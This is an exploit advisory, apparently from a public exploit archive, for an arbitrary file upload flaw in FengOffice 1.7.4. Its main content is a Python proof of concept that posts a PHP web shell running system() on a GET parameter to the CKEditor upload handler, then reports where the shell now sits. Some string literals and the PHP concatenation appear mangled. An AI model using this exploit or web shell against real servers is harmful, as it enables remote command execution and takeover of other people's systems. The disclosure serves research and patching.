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FengOffice 1.7.4 Shell Upload

Posted on 27 March 2011

# ------------------------------------------------------------------------
# Software................FengOffice 1.7.4
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://www.fengoffice.com
# Vendor Contact Date.....3/11/2011
# Disclosure Date.........3/25/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# An arbitrary upload vulnerability in FengOffice 1.7.4 can be exploited
# to upload a PHP shell.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/feng_community'
shell_path = '/tmp'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/public/assets/javascript/ckeditor/ck_upload_handler.php HTTP/1.1
'
'Host: localhost
'
'Proxy-Connection: keep-alive
'
'User-Agent: x
'
'Content-Length: 195
'
'Cache-Control: max-age=0
'
'Origin: null
'
'Content-Type: multipart/form-data; boundary=----x
'
'Accept: text/html
'
'Accept-Encoding: gzip,deflate,sdch
'
'Accept-Language: en-US,en;q=0.8
'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
'
'
'
'------x
'
'Content-Disposition: form-data; name="shell_file"; filename="shell.php"
'
'Content-Type: application/octet-stream
'
'
'
'<?php echo '<pre>' + system($_GET['CMD']) + '</pre>'; ?>
'
'------x--
'
'
')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded to http://' + host + path + shell_path

upload_shell()

 

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